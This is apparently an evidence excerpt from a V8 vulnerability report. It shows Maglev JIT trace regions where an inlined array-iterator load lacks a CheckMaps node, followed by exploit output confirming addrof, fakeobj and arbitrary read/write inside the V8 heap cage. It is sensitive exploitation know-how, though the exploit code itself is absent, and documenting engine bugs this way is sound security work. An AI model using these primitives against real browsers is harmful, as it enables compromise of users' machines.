Key continuous regions from evidence/maglev-trace.txt

These ranges are continuous: the helper call is followed by the reduced iterator load,
and no CheckMaps node appears between them.

=== materializeAddrofArguments: trace lines 190-275 ===
182:[ML:55687] 
183:[ML:55687] Copying frame state from merge @0x3d14012cdc30
184:[ML:55687]   - VOs (IFS): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
185:[ML:55687]   - VOs (merge): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
186:[ML:55687] + 0x3d14012e0528  n41: HeapConstant(0x1270010275fd <JSFunction materializeAddrofArguments (sfi = 0x127001027055)>), 0 uses 🪦
187:[ML:55687]    3 : d4                Star0
188:[ML:55687]    4 : 6c f9 02          CallUndefinedReceiver0 r0, FBV[2]
189:[ML:55687] ❌ SKIP   materializeAddrofArguments     has optimization disabled
190:[ML:55687] + 0x3d14012e06a0  n42: CallKnownJSFunction(0x127001027055 <SharedFunctionInfo materializeAddrofArguments>, {}) [n41, n3, n39, n4], 0 uses, but required
191:[ML:55687]    7 : 23 01 04          LdaGlobal [1:"addrof_next"], FBV[4]
192:[ML:55687] + 0x3d14012e10f8  n43: HeapConstant(0x127001027631 <JSFunction addrof_next (sfi = 0x127001027085)>), 0 uses 🪦
193:[ML:55687]   10 : d4                Star0
194:[ML:55687]   11 : 6d f9 03 06       CallUndefinedReceiver1 r0, a0, FBV[6]
195:[ML:55687] ⚡ INLINE addrof_next                    Small function, skipping max-depth
196:
197:----- Inlining 0x127001027085 <SharedFunctionInfo addrof_next> with bytecode -----
198:Parameter count 2
199:Register count 1
200:Frame size 8
201: 1879 S> 0x2c4a01000948 @    0 : 33 03 00 00       GetNamedProperty a0, [0:"next"], FBV[0]
202:         0x2c4a0100094c @    4 : d4                Star0
203: 1879 E> 0x2c4a0100094d @    5 : 68 f9 03 02       CallProperty0 r0, a0, FBV[2]
204:         0x2c4a01000951 @    9 : d4                Star0
205: 1885 E> 0x2c4a01000952 @   10 : 33 f9 01 04       GetNamedProperty r0, [1:"value"], FBV[4]
206: 1892 S> 0x2c4a01000956 @   14 : b9                Return
207:Constant pool (size = 2)
208:0x2c4a01000911: [TrustedFixedArray]
209: - map: 0x127000000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
210: - length: 2
211:           0: 0x127000005e6d <String[4]: #next>
212:           1: 0x127000000e5d <String[5]: #value>
213:Handler Table (size = 0)
214:Source Position Table (size = 11)
215:0x2c4a01000959 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)>
216:0x1270010278cd: [FeedbackVector] in OldSpace
217: - map: 0x127000000899 <Map(FEEDBACK_VECTOR_TYPE)>
218: - length: 6
219: - shared function info: 0x127001027085 <SharedFunctionInfo addrof_next>
220: - tiering_in_progress: 0
221: - osr_tiering_in_progress: 0
222: - invocation count: 100
223: - closure feedback cell array: 0x1270000020c1: [ClosureFeedbackCellArray] in ReadOnlySpace
224: - map: 0x127000000871 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
225: - length: 0
226: - elements:
227:
228: - slot #0 LoadProperty MONOMORPHIC
229:   [weak] 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>: LoadHandler(do access check on lookup start object = 0, lookup on lookup start object = 0, kind = kConstantFromPrototype, data1 = [weak] 0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>, validity cell = 0x127001027c55 <Cell value= [weak] 0x12700100c9b5 <NativeContext[309]>>) {
230:     [0]: [weak] 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>
231:     [1]: 0x127001027c5d <Other heap object (LOAD_HANDLER_TYPE)>
232:  }
233: - slot #2 Call MONOMORPHIC {
234:     [2]: [weak] 0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>
235:     [3]: 800
236:  }
237: - slot #4 LoadProperty MONOMORPHIC
238:   [weak] 0x12700101c725 <Map[20](HOLEY_ELEMENTS)>: LoadHandler(Smi)(kind = kField, is in object = 1, is double = 0, storage offset in words = 3, descriptor index = 0) {
239:     [4]: [weak] 0x12700101c725 <Map[20](HOLEY_ELEMENTS)>
240:     [5]: 131269
241:  }
242:[ML:55687] + 0x3d14012e29f8  n44: Jump
243:[ML:55687]    0 : 33 03 00 00       GetNamedProperty a0, [0:"next"], FBV[0]
244:[ML:55687] New block (merge @0x3d14012e2a58) at 0x127001027085 <SharedFunctionInfo addrof_next>
245:[ML:55687]   VOs (IFS): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
246:[ML:55687]   Constant properties:
247:[ML:55687]   Non-constant properties:
248:[ML:55687]   Constant context slots:
249:[ML:55687]   Non-constant context slots:
250:[ML:55687] 
251:[ML:55687] Copying frame state from merge @0x3d14012e2a58
252:[ML:55687]   - VOs (IFS): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
253:[ML:55687]   - VOs (merge): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
254:[ML:55687] + 0x3d14012e3a18  n45: HeapConstant(0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>), 0 uses 🪦
255:[ML:55687]   * Recording constant known property n31: InlinedAllocation(object 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>) [n14], 8 uses (8 non escaping uses) [0x127000005e6d <String[4]: #next>] = n45: HeapConstant(0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>), 0 uses 🪦
256:[ML:55687]    4 : d4                Star0
257:[ML:55687]    5 : 68 f9 03 02       CallProperty0 r0, a0, FBV[2]
258:[ML:55687]   ! Trying to reduce builtin ArrayIteratorPrototypeNext
259:[ML:55687] + 0x3d14012e3b38  n46: LoadTaggedField(0x10, compressed) [n31], 0 uses 🪦
260:[ML:55687] + 0x3d14012e3c08  n47: CheckedObjectToIndex[check heapobj] [n46], 0 uses, but required, cannot truncate to int32
261:[ML:55687] + 0x3d14012e3d38  n48: CheckedInt32ToUint32 [n47], 0 uses, but required, cannot truncate to int32
262:[ML:55687] + 0x3d14012e3dd8  n49: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n20], 0 uses 🪦
263:[ML:55687]   * Recording non-constant known property n20: InlinedAllocation(object 0x12700101510d <Map[16](PACKED_DOUBLE_ELEMENTS)>) [n14], 8 uses (7 non escaping uses) [0x127000000e19 <String[6]: #length>] = n49: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n20], 0 uses 🪦
264:[ML:55687] + 0x3d14012e3f48  n50: UnsafeSmiUntag [n49], 0 uses 🪦, cannot truncate to int32
265:[ML:55687] + 0x3d14012e4008  n51: CheckedInt32ToUint32 [n50], 0 uses, but required, cannot truncate to int32
266:[ML:55687] + 0x3d14012e4150  n52: BranchIfUint32Compare(LessThan) [n48, n51]
267:[ML:55687] + 0x3d14012e4a18  n53: CheckedUint32ToInt32 [n48], 0 uses, but required, cannot truncate to int32
268:[ML:55687] + 0x3d14012e4a98  n54: RootConstant(false_value), 0 uses 🪦
269:[ML:55687] + 0x3d14012e4af0  n55: LoadTaggedField(0x8, compressed) [n20], 0 uses 🪦
270:[ML:55687]   * Recording non-constant known property n20: InlinedAllocation(object 0x12700101510d <Map[16](PACKED_DOUBLE_ELEMENTS)>) [n14], 9 uses (7 non escaping uses) [Elements] = n55: LoadTaggedField(0x8, compressed) [n20], 0 uses 🪦
271:[ML:55687]   * Reusing non-constant loaded property n49: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n20], 1 uses
272:[ML:55687] + 0x3d14012e4c90  n56: CheckedInt32ToUint32 [n53], 0 uses, but required, cannot truncate to int32
273:[ML:55687] + 0x3d14012e4d18  n57: UnsafeInt32ToUint32 [n50], 0 uses 🪦, cannot truncate to int32
274:[ML:55687] + 0x3d14012e4e58  n58: BranchIfUint32Compare(LessThan) [n56, n57]
275:[ML:55687] + 0x3d14012e5878  n59: LoadFixedDoubleArrayElement [n55, n53], 0 uses 🪦, cannot truncate to int32 [-∞, +∞]
276:[ML:55687] + 0x3d14012e58f8  n60: Jump
277:[ML:55687] Copying frame state from merge @0x3d14012e4f08
278:[ML:55687] + 0x3d14012e62f0  n61: Jump
279:[ML:55687] Merging...
280:[ML:55687] VOs before merge:
281:[ML:55687]   - VOs (IFS): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
282:[ML:55687]   - VOs (merge): VO{2}:n31; VO{1}:n15; VO{0}:n20; 
283:[ML:55687] VOs after merge:

=== materializeFakeobjArguments: trace lines 516-601 ===
508:[ML:55691] 
509:[ML:55691] Copying frame state from merge @0x3d14012ccc80
510:[ML:55691]   - VOs (IFS): VO{1}:n23; VO{0}:n12; 
511:[ML:55691]   - VOs (merge): VO{1}:n23; VO{0}:n12; 
512:[ML:55691] + 0x3d14012e0018  n33: HeapConstant(0x1270010276cd <JSFunction materializeFakeobjArguments (sfi = 0x127001027115)>), 0 uses 🪦
513:[ML:55691]    3 : d4                Star0
514:[ML:55691]    4 : 6c f9 02          CallUndefinedReceiver0 r0, FBV[2]
515:[ML:55691] ❌ SKIP   materializeFakeobjArguments    has optimization disabled
516:[ML:55691] + 0x3d14012e0190  n34: CallKnownJSFunction(0x127001027115 <SharedFunctionInfo materializeFakeobjArguments>, {}) [n33, n3, n31, n4], 0 uses, but required
517:[ML:55691]    7 : 23 01 04          LdaGlobal [1:"fakeobj_next"], FBV[4]
518:[ML:55691] + 0x3d14012e0be8  n35: HeapConstant(0x127001027701 <JSFunction fakeobj_next (sfi = 0x127001027145)>), 0 uses 🪦
519:[ML:55691]   10 : d4                Star0
520:[ML:55691]   11 : 6d f9 03 06       CallUndefinedReceiver1 r0, a0, FBV[6]
521:[ML:55691] ⚡ INLINE fakeobj_next                   Small function, skipping max-depth
522:
523:----- Inlining 0x127001027145 <SharedFunctionInfo fakeobj_next> with bytecode -----
524:Parameter count 2
525:Register count 1
526:Frame size 8
527: 2726 S> 0x2c4a01000a78 @    0 : 33 03 00 00       GetNamedProperty a0, [0:"next"], FBV[0]
528:         0x2c4a01000a7c @    4 : d4                Star0
529: 2726 E> 0x2c4a01000a7d @    5 : 68 f9 03 02       CallProperty0 r0, a0, FBV[2]
530:         0x2c4a01000a81 @    9 : d4                Star0
531: 2732 E> 0x2c4a01000a82 @   10 : 33 f9 01 04       GetNamedProperty r0, [1:"value"], FBV[4]
532: 2739 S> 0x2c4a01000a86 @   14 : b9                Return
533:Constant pool (size = 2)
534:0x2c4a01000a41: [TrustedFixedArray]
535: - map: 0x127000000605 <Map(TRUSTED_FIXED_ARRAY_TYPE)>
536: - length: 2
537:           0: 0x127000005e6d <String[4]: #next>
538:           1: 0x127000000e5d <String[5]: #value>
539:Handler Table (size = 0)
540:Source Position Table (size = 11)
541:0x2c4a01000a89 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)>
542:0x127001027a75: [FeedbackVector] in OldSpace
543: - map: 0x127000000899 <Map(FEEDBACK_VECTOR_TYPE)>
544: - length: 6
545: - shared function info: 0x127001027145 <SharedFunctionInfo fakeobj_next>
546: - tiering_in_progress: 0
547: - osr_tiering_in_progress: 0
548: - invocation count: 100
549: - closure feedback cell array: 0x1270000020c1: [ClosureFeedbackCellArray] in ReadOnlySpace
550: - map: 0x127000000871 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
551: - length: 0
552: - elements:
553:
554: - slot #0 LoadProperty MONOMORPHIC
555:   [weak] 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>: LoadHandler(do access check on lookup start object = 0, lookup on lookup start object = 0, kind = kConstantFromPrototype, data1 = [weak] 0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>, validity cell = 0x127001027c55 <Cell value= [weak] 0x12700100c9b5 <NativeContext[309]>>) {
556:     [0]: [weak] 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>
557:     [1]: 0x127001027cf1 <Other heap object (LOAD_HANDLER_TYPE)>
558:  }
559: - slot #2 Call MONOMORPHIC {
560:     [2]: [weak] 0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>
561:     [3]: 800
562:  }
563: - slot #4 LoadProperty MONOMORPHIC
564:   [weak] 0x12700101c725 <Map[20](HOLEY_ELEMENTS)>: LoadHandler(Smi)(kind = kField, is in object = 1, is double = 0, storage offset in words = 3, descriptor index = 0) {
565:     [4]: [weak] 0x12700101c725 <Map[20](HOLEY_ELEMENTS)>
566:     [5]: 131269
567:  }
568:[ML:55691] + 0x3d14012e24e8  n36: Jump
569:[ML:55691]    0 : 33 03 00 00       GetNamedProperty a0, [0:"next"], FBV[0]
570:[ML:55691] New block (merge @0x3d14012e2548) at 0x127001027145 <SharedFunctionInfo fakeobj_next>
571:[ML:55691]   VOs (IFS): VO{1}:n23; VO{0}:n12; 
572:[ML:55691]   Constant properties:
573:[ML:55691]   Non-constant properties:
574:[ML:55691]   Constant context slots:
575:[ML:55691]   Non-constant context slots:
576:[ML:55691] 
577:[ML:55691] Copying frame state from merge @0x3d14012e2548
578:[ML:55691]   - VOs (IFS): VO{1}:n23; VO{0}:n12; 
579:[ML:55691]   - VOs (merge): VO{1}:n23; VO{0}:n12; 
580:[ML:55691] + 0x3d14012e34a0  n37: HeapConstant(0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>), 0 uses 🪦
581:[ML:55691]   * Recording constant known property n23: InlinedAllocation(object 0x12700101be99 <Map[24](HOLEY_ELEMENTS)>) [n11], 8 uses (8 non escaping uses) [0x127000005e6d <String[4]: #next>] = n37: HeapConstant(0x12700101bf59 <JSFunction next (sfi = 0x1270003e90f5)>), 0 uses 🪦
582:[ML:55691]    4 : d4                Star0
583:[ML:55691]    5 : 68 f9 03 02       CallProperty0 r0, a0, FBV[2]
584:[ML:55691]   ! Trying to reduce builtin ArrayIteratorPrototypeNext
585:[ML:55691] + 0x3d14012e35c0  n38: LoadTaggedField(0x10, compressed) [n23], 0 uses 🪦
586:[ML:55691] + 0x3d14012e3690  n39: CheckedObjectToIndex[check heapobj] [n38], 0 uses, but required, cannot truncate to int32
587:[ML:55691] + 0x3d14012e37c0  n40: CheckedInt32ToUint32 [n39], 0 uses, but required, cannot truncate to int32
588:[ML:55691] + 0x3d14012e3860  n41: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n12], 0 uses 🪦
589:[ML:55691]   * Recording non-constant known property n12: InlinedAllocation(object 0x127001014a49 <Map[16](PACKED_SMI_ELEMENTS)>) [n11], 8 uses (7 non escaping uses) [0x127000000e19 <String[6]: #length>] = n41: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n12], 0 uses 🪦
590:[ML:55691] + 0x3d14012e39d0  n42: UnsafeSmiUntag [n41], 0 uses 🪦, cannot truncate to int32
591:[ML:55691] + 0x3d14012e3a90  n43: CheckedInt32ToUint32 [n42], 0 uses, but required, cannot truncate to int32
592:[ML:55691] + 0x3d14012e3bd8  n44: BranchIfUint32Compare(LessThan) [n40, n43]
593:[ML:55691] + 0x3d14012e4438  n45: CheckedUint32ToInt32 [n40], 0 uses, but required, cannot truncate to int32
594:[ML:55691] + 0x3d14012e44b8  n46: RootConstant(false_value), 0 uses 🪦
595:[ML:55691] + 0x3d14012e4510  n47: LoadTaggedField(0x8, compressed) [n12], 0 uses 🪦
596:[ML:55691]   * Recording non-constant known property n12: InlinedAllocation(object 0x127001014a49 <Map[16](PACKED_SMI_ELEMENTS)>) [n11], 9 uses (7 non escaping uses) [Elements] = n47: LoadTaggedField(0x8, compressed) [n12], 0 uses 🪦
597:[ML:55691]   * Reusing non-constant loaded property n41: LoadTaggedField(0xc: 0x127000000e19 <String[6]: #length>, compressed, Smi) [n12], 1 uses
598:[ML:55691] + 0x3d14012e46b0  n48: CheckedInt32ToUint32 [n45], 0 uses, but required, cannot truncate to int32
599:[ML:55691] + 0x3d14012e4738  n49: UnsafeInt32ToUint32 [n42], 0 uses 🪦, cannot truncate to int32
600:[ML:55691] + 0x3d14012e4878  n50: BranchIfUint32Compare(LessThan) [n48, n49]
601:[ML:55691] + 0x3d14012e5230  n51: LoadFixedArrayElement(compressed), Smi [n47, n45], 0 uses 🪦
602:[ML:55691] + 0x3d14012e52b0  n52: Jump
603:[ML:55691] Copying frame state from merge @0x3d14012e4928
604:[ML:55691] + 0x3d14012e5c40  n53: Jump
605:[ML:55691] Merging...
606:[ML:55691] VOs before merge:
607:[ML:55691]   - VOs (IFS): VO{1}:n23; VO{0}:n12; 
608:[ML:55691]   - VOs (merge): VO{1}:n23; VO{0}:n12; 
609:[ML:55691] VOs after merge:

=== End-to-end output ===
335:addrof(carrier) = 0x01053e51
336:addrof(victim)  = 0x01053e79
661:fakeobj length  = 32
662:carrier +0x00  = 0x0101510d 0x000007e5
663:carrier +0x08  = 0x01053e09 0x00000010
664:victim.elements = 0x01053e61, victim.length = 0x00000004
665:readback       = 0xe8a71de7 0x4094e488
666:victim[0]      = 1337.1337
667:SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
